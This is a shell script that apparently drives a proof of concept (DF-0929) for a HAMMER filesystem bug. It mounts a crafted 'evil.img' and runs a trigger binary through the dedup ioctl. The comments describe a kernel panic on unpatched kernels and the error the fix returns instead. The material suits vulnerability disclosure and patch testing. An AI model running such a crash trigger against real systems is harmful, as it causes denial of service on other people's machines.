#!/bin/sh
# DF-0929 PoC run.
#
# Prerequisites (the test harness sets these up once per guest):
#   - evil.img is the patched HAMMER image (from patch_image.py)
#   - vn1 is free
#   - /mnt/test exists
#
# This script must be run as root: the HAMMERIOC_DEDUP ioctl is gated
# behind caps_priv_check(SYSCAP_NOVFS_IOCTL) at hammer_ioctl.c:72, so the
# trigger cannot be exercised by an unprivileged user even on a writable
# mountpoint.  The threat model is a crafted image mounted by an admin
# (root), not a local unprivileged->root escalation.
#
# Expected output:
#   UNPATCHED kernel (#0, INVARIANTS on): kernel panic in
#     hammer_btree_extract at hammer_btree.c:736 -- guest goes down
#     mid-syscall; trigger never returns.  See panic.txt.
#   PATCHED   kernel (#1, fix.diff applied): trigger returns
#     "ioctl returned -1 (errno=5 'Input/output error')"; guest stays up;
#     dmesg shows "hammer_btree_extract: bad data_len 2147483647 for leaf
#     @ a000000022010000".
#
set -e
cd "$(dirname "$0")"

IMG=${1:-/root/evil.img}
MNT=${2:-/mnt/test}

mkdir -p "$MNT"
vnconfig -c vn1 "$IMG" >/dev/null
mount_hammer /dev/vn1 "$MNT"

./trigger "$MNT"
RC=$?

umount "$MNT" 2>/dev/null || true
vnconfig -u vn1 2>/dev/null || true
exit $RC